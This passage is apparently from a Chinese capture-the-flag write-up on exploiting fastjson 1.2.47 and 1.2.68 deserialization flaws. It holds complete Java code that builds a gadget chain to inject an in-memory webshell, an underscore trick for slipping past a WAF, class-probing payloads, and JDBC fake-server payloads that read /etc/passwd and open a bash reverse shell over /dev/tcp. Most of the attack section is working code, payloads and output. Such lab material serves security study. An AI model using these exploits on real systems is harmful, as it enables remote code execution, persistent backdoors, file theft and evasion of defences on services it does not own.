# 拷回宿主机当前目录的 target-lib
docker cp 4b89ee3403fb:/tmp/lib/BOOT-INF/lib ./target-lib

2. 编译内存马

IceShell.java 里 import 了一堆 Tomcat 的类,这些类不在 JDK 里,javac 默认不知道去哪找,得用 -cp 指到刚拷回来的依赖:

javac -cp "target-lib/tomcat-embed-core-9.0.34.jar:target-lib/tomcat-embed-el-9.0.34.jar" IceShell.java

编译出来的 IceShell.class 就是后面要塞进 TemplatesImpl 的内存马字节码。

3. 用 Test.java 生成 fastjson payload

Test.java 干的事是:读 IceShell.class → 塞进 TemplatesImpl._bytecodes → 拼成 C3P0 原生反序列化的对象图 → 整体序列化成 hex → 拼进 userOverridesAsString 的 HexAsciiSerializedMap: 格式。

对象图的拼法是「HashMap → 值 BadAttributeValueExpException → val 是装着 TemplatesImpl 的 JSONArray」。反序列化时 BadAttributeValueExpException.readObject() 会调用 val 的 toString(),JSONArray.toString() 在序列化元素的过程中触发 TemplatesImpl.getOutputProperties(),进而 defineClass 我们塞进去的内存马字节码。

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Test {
    public static void main(String[] args) throws Exception {
        String hex2 = bytesToHex(tobyteArray(gen()));
        String FJ1247 = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
                "        \"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex2 + ";\",\n" +
                "    }\n" +
                "}\n";
        System.out.println(FJ1247);
    }

    // FastJson 原生反序列化加载恶意类字节码
    public static Object gen() throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 注意路径:改成你实际的 IceShell.class 路径
        byte[] bytes = Files.readAllBytes(Paths.get("IceShell.class"));
        setValue(templates, "_bytecodes", new byte[][]{bytes});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates, bd);
        return hashMap;
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    public static String bytesToHex(byte[] bytes) {
        StringBuffer stringBuffer = new StringBuffer();
        for (int i = 0; i < bytes.length; i++) {
            String hex = Integer.toHexString(bytes[i] & 0xff);
            if (hex.length() < 2) {
                stringBuffer.append("0" + hex);
            } else {
                stringBuffer.append(hex);
            }
        }
        return stringBuffer.toString();
    }
}

编译并运行,生成 payload:

javac -cp "target-lib/fastjson-1.2.47.jar:target-lib/c3p0-0.9.5.4.jar:target-lib/mchange-commons-java-0.2.15.jar" Test.java

java -cp ".:target-lib/fastjson-1.2.47.jar:target-lib/c3p0-0.9.5.4.jar:target-lib/mchange-commons-java-0.2.15.jar" Test > payload.json

classpath 里 .: 表示当前目录,Test.class 和 IceShell.class 都在里面。macOS/Linux 用 : 分隔,Windows 用 ;。

生成的 payload 大概长这样(hex 有一万多个字符,这里截断显示,实际用上面命令生成的完整输出):

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "b":{
        "@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString":"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d1...(略);"
    }
}

4. 打过去

但这个靶场有 WAF:

Pasted image 20261002124035.png

被拦了,报错是 hacker!hacker!。从关键字上看,WAF 盯的是 userOverridesAsString。我先试了 unicode 和 hex 编码,都不行——这个 WAF 的代码里把 \u、\x 这类编码前缀也一起过滤了。

换成 Y4tacker 那篇《浅谈 Fastjson 绕 waf》里提到的一招:往关键字里插下划线,比如写成 us_erOverridesAsString。

原因是 fastjson 匹配字段名走的是 TypeUtils.fnv1a_64_lower,这个函数会忽略所有的 _ 和 -,所以加了字母照样能匹配到 userOverridesAsString;而 WAF 是拿原始字符串去比的,自然匹配不上。

发包之后报的是 set property error, userOverridesAsString:

Pasted image 20261002124227.png

看到这个报错,其实就说明内存马注入成功了。IceShell 的 static 代码块是在类加载时执行的,这时候 Filter 已经注册进 Tomcat 了;后面即使某一步抛异常(比如 hex 解码、或者冰蝎的类加载流程),也不影响 Filter 已经挂上。所以「报错」反而是成功的信号。

冰蝎连上:

Pasted image 20261002145352.png

拿到 flag:

Pasted image 20261002145608.png

1.2.68:SafeMode、expectClass 与 JDBC 链

1.2.68 引入了两样东西:SafeMode 和更严格的 checkAutoType 校验。

机制作用能不能绕
AutoType 关闭(autoTypeSupport=false)拒绝大部分 @type,但留了 expectClass 通道能绕,双 @type 就是干这个的
SafeMode(safeMode=true)直接禁用所有 @type,连检查都不检查不能绕

SafeMode 一旦开启,checkAutoType() 入口处直接抛异常,所有 @type 全部失效:

safeMode not support autoType: xxx

漏洞原因

SafeMode 没开的情况下,可以利用 expectClass 通道:先让 fastjson 进入一个「期望类型不是 Object 等普通类」的上下文,再在里面塞第二个 @type,让恶意类作为期望类型的子类被放行。

这就是那些双 @type 的 payload 为什么长成那样:

{
  "@type": "java.lang.AutoCloseable",
  "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
  ... 后面的字段和普通的 JDBC payload 一样
}

第一个 @type 把期望类型设成 java.lang.AutoCloseable,第二个 @type 指定的类只要是它的实现类就能通过校验——而 MySQL 的 ReplicationMySQLConnection 恰好实现了 AutoCloseable。

漏洞复现

第一步:探测版本

POST /login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json; charset=UTF-8

{
  "@type": "java.lang.AutoCloseable"
Pasted image 20261002163308.png

响应里带着 fastjson-version 1.2.68,和前面 1.2.47 那节是同一个套路。

第二步:判断 SafeMode 开没开

这里要单独说一句:上面那个截断的 JSON 在语法解析阶段就挂了,根本走不到 checkAutoType,所以它的报错看不出 SafeMode 的状态。判断 SafeMode 得发一个完整的 JSON,@type 指向黑名单里的类,看报什么错:

  • autoType is not support. xxx → SafeMode 没开,@type 还能用;
  • safeMode not support autoType: xxx → SafeMode 开了,可以直接收工了。

本文这个环境是前者。

第三步:探测依赖

既然 @type 可用,第一个思路自然是找能做文件写入的类——JDK 11 和 commons-io 里都有公开过的链。先探一探有没有 commons-io:

{
  "x": {
    "@type": "java.lang.Character"{
      "@type": "java.lang.Class",
      "val": "org.apache.commons.io.Charsets"
    }
  }
}

返回 No message available,说明这个类不存在,写文件的思路走不通:

Pasted image 20261002170920.png

那就换一条更直接的 RCE 思路:配合 MySQL JDBC 反序列化打 fastjson。这条链要求环境里有 JDBC 依赖,而且对版本要求挺严,MySQL-JDBC 在 5、6、8 下都有对应的利用方式,所以还得先探具体版本。

常用的依赖探测 payload 汇总(配合上面的 Character 报错法逐个试):

org.springframework.web.bind.annotation.RequestMapping          // SpringBoot
org.apache.catalina.startup.Tomcat                            // Tomcat
groovy.lang.GroovyShell                                        // Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources                               // C3P0
com.mysql.jdbc.Buffer                                          // mysql-connector 5.x
com.mysql.cj.api.authentication.AuthenticationProvider          // mysql-connector 6.x
com.mysql.cj.protocol.AuthenticationProvider                    // mysql-connector 8.x
sun.nio.cs.GBK                                                 // JDK 8
java.net.http.HttpClient                                       // JDK 11
org.apache.ibatis.type.Alias                                   // MyBatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource                    // tomcat-dbcp 7 - BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource                   // tomcat-dbcp 8 及以后 - BCEL
org.apache.commons.io.Charsets                                 // commons-io(版本不确定)
org.apache.commons.io.file.Counters                            // commons-io 2.7 ~ 2.8
org.aspectj.ajde.Ajde                                          // aspectjtools

探到环境里是 mysql-connector 8:

{
  "x": {
    "@type": "java.lang.Character"{
      "@type": "java.lang.Class",
      "val": "com.mysql.cj.protocol.AuthenticationProvider"
    }
  }
}
Pasted image 20261002171152.png

不过 mysql-connector 8 的限制条件很苛刻,只有 8.0.19 这一个版本能做反序列化;巧的是这个环境用的恰好就是 8.0.19。

MySQL JDBC 反序列化

原理:MySQL 客户端在 autoDeserialize=true 时,会把服务端返回的部分字段用 ObjectInputStream 反序列化。那么只要用一个假的 MySQL 服务端冒充数据库,把 ysoserial 生成的序列化数据当成「查询结果」发回去,客户端就会反序列化执行。文件读取也是同一套:allowLoadLocalInfile=true 加上特殊格式的 user 名,假服务端就会把目标机器上的文件内容当作数据发回来。

准备 MySQL Fake Server

git clone https://github.com/fnmsd/MySQL_Fake_Server.git
cd MySQL_Fake_Server

# 启动,默认监听 3306
python3 server.py

先做文件读取

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "host.docker.internal"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "host.docker.internal",
                "user": "fileread_/etc/passwd",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

user 写成 fileread_<绝对路径>,假服务端的日志里就能看到文件内容:

Pasted image 20261002172550.png

再做反序列化 RCE

前面说过,fastjson 全版本都存在原生反序列化,而这个环境里也没有其他组件,所以只能配合原生反序列化来打。

MySQL_Fake_Server 的反序列化模块需要配合 ysoserial:它接收 yso_<链名>_<命令> 格式的 user 名,调用同目录下的 ysoserial 生成 payload 再发回去。但原版 ysoserial 里并没有 fastjson 这条链,所以得自己往 ysoserial 里加上 FastJson1 链并重新编译打包。

这里是加好链重新编译的 ysoserial:ysoserial-0.0.6-SNAPSHOT-all.jar。把它上传到与 server.py 同目录即可,文件名必须是 ysoserial-0.0.6-SNAPSHOT-all.jar,否则工具找不到。

{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "host.docker.internal"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "host.docker.internal",
                "user": "yso_FastJson1_bash -i >& /dev/tcp/host.docker.internal/4444 0>&1",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

收到 shell:

Pasted image 20261002174640.png

后面还有哪些版本

1.2.68 之所以是本文的终点,是因为 1.2.69 把 java.lang.AutoCloseable、java.lang.Runnable、java.lang.Readable 一起加进了黑名单——这三个正是 expectClass 通道里最常用的「期望类型」,上面那条 MySQL JDBC 链也就跟着失效了。

再往后的 1.2.69 ~ 1.2.80 是另一套打法,主要围绕 groovy、aspectjtools、ognl 这类第三方依赖,以及通过 Exception、JSONObject 等把子类塞进 fastjson 缓存的操作,思路上和 1.2.47 的缓存投毒是一脉相承的,这里就不展开了。到 1.2.83(1.x 的最后一版)官方默认开启了 SafeMode,1.x 这条线才算收尾。

参考资料

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇